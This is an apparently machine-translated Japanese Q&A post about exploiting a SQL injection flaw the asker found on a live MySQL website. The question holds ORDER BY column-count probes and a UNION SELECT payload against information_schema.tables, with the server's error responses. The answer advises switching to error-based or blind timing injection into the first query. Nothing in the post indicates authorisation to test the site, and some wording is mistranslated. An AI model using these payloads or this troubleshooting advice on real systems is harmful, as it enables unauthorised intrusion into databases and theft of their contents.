ここでは非常に基本的なSQLインジェクションの質問ですが、MySQL Webサイトでproduct.php?id=200
を含むSQLiを見つけました。
最初にORDER BYに疲れて、そのテーブルの列番号をproduct.php?id=200 order by 13
で把握しました。
これは12列であることが判明し、13までの順序でエラーが表示されます。
Error: SELECT * FROM `category` WHERE is_active='1' AND id =200 order by 13
Unknown column '13' in 'order clause'
すべてが良さそうなので、次にテーブル名を見つけようとしましたが、
product.php?id=200 union select table_name,2,3,4,5,6,7,8,9,10,11,12 from
information_schema.tables
そしてそれは示しています
Error: SELECT * FROM `products` WHERE is_active='1' AND id =200 union select
table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables
The used SELECT statements have a different number of columns
選択クエリに入力した数値の数に関係なく、常に同じエラーが表示されます。バックエンドで動的なアクティビティが発生していると思いますが、何がどのように進むべきかわかりません。ありがとうございました!
列数の異なるテーブルから選択する2つの異なるクエリ(category
から1つ、products
から1つ)を注入します。 1つの列数を修正すると、もう1つの列数は一致しなくなります。
同時に異なる列数を指定することはできません。また、クエリの1つをスキップすることもできないため、単純なユニオンインジェクションは機能しません。
エラーが表示されるので、単純なエラーベースの注入を使用できます。エラーが表示されなかった場合でも、タイミングおよび場合によってはコンテンツベースのブラインドインジェクションを使用できます(3つすべての例については here を参照してください)。どちらの場合も、最初のクエリに挿入することをお勧めします(エラーの処理方法によって多少異なります)。